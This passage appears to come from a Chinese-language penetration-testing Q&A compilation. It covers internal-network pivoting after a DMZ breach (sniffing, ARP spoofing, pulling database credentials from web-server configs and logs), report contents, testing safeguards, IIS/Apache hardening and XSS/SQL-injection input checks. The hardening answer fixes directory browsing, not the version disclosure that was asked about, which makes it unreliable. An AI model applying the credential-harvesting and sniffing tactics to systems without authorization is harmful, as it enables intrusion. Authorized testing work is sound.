攻入了DMZ區一般情況下我們也不會獲取多少用價值的信息。為了進一步鞏固戰果,我們需要進行進一步的內網滲透。到這一步就真的算是無所不用其及。最常用且最有效的方式就是Sniff抓包(可以加上ARP欺騙)。當然,最簡單的你可以翻翻已入侵機器上的一些文件,很可能就包含了你需要的一些連接帳號。比如說你入侵了一台Web伺服器,那麼絕大部分情況下你可以在頁面的代碼或者某個配置文件中找到連接資料庫的帳號。你也可以打開一些日誌文件看一看。
除此之外,你可以直接回到第二步漏洞掃描來進行。
四、生成報告
報告中應當包含:
薄弱點列表清單(按照嚴重等級排序)
薄弱點詳細描述(利用方法)
解決方法建議
參與人員/測試時間/內網/外網
五、測試過程中的風險及規避
在測試過程中無可避免的可能會發生很多可預見和不可預見的風險,測試方必須提供規避措施以免對系統造成重大的影響。以下一些可供參考:
1. 不執行任何可能引起業務中斷的攻擊(包括資源耗竭型DoS,畸形報文攻擊,數據破壞)。
2. 測試驗證時間放在業務量最小的時間進行。
3. 測試執行前確保相關數據進行備份。
4. 所有測試在執行前和維護人員進行溝通確認。
5. 在測試過程中出現異常情況時立即停止測試並及時恢復系統。
6. 對原始業務系統進行一個完全的鏡像環境,在鏡像環境上進行滲透測試。
⑦ 漏洞掃描設備檢測出服務存在漏洞:可通過HTTPS獲取遠端WWW服務版信息,如何解決
漏洞掃描設備檢測出服務存在漏洞:
可通過HTTPS獲取遠端WWW服務版信息,解決辦法,比如:
第一種:
IIS中關閉目錄瀏覽功能:在IIS的網站屬性中,勾去「目錄瀏覽」選項,重啟IIS;
第二種:
Apache中關閉目錄瀏覽功能:
打開Apache配置文件httpd.conf。查找 「Options Indexes FollowSymLinks」,修改為「 Options -Indexes」(減號表示取消),保存退出,重啟Apache。
⑧ 軟體測試如何做安全性檢查呢,比如輸入什麼特殊字元
針對應用安全(網站類型)
第一步 收集信息,你需要了解,一般有多少個url地址及頁面、請求的情況等等(一般在你完成功能測試後,已經知道了)
第二步 分層檢查 簡單的來的話,分2層,頁面層,針對輸入框進行跨站、SQL注入等字元的進行檢查,這是比較常規的方式,在完成這個一個層面的檢查後,你可以針對請求層來進行檢查,一般問題是出在隱藏的傳遞屬性上,因為,開發常規會對輸入的參數進行前後台字元校驗,而對於默認的傳遞參數會忽略掉,而這就是漏洞的所在
第三步 猜測性測試,這種方法主要是針對服務中間件的測試,我們會根據IIS、weblogic、apache等應用中間件的默認響應頁面進行猜測,還有一些錯誤信息頁面,比如黃頁中的信息,這些都是應該避免
這樣的方式比較繁瑣和復雜,當然如果有相關的測試工具話 相對可以比較快捷一點,首先它能幫助我們完成信息收集和第一輪的安全檢查,根據其的報告,我們可以深入的進行更深層次的安全檢查,提高我們的測試效率。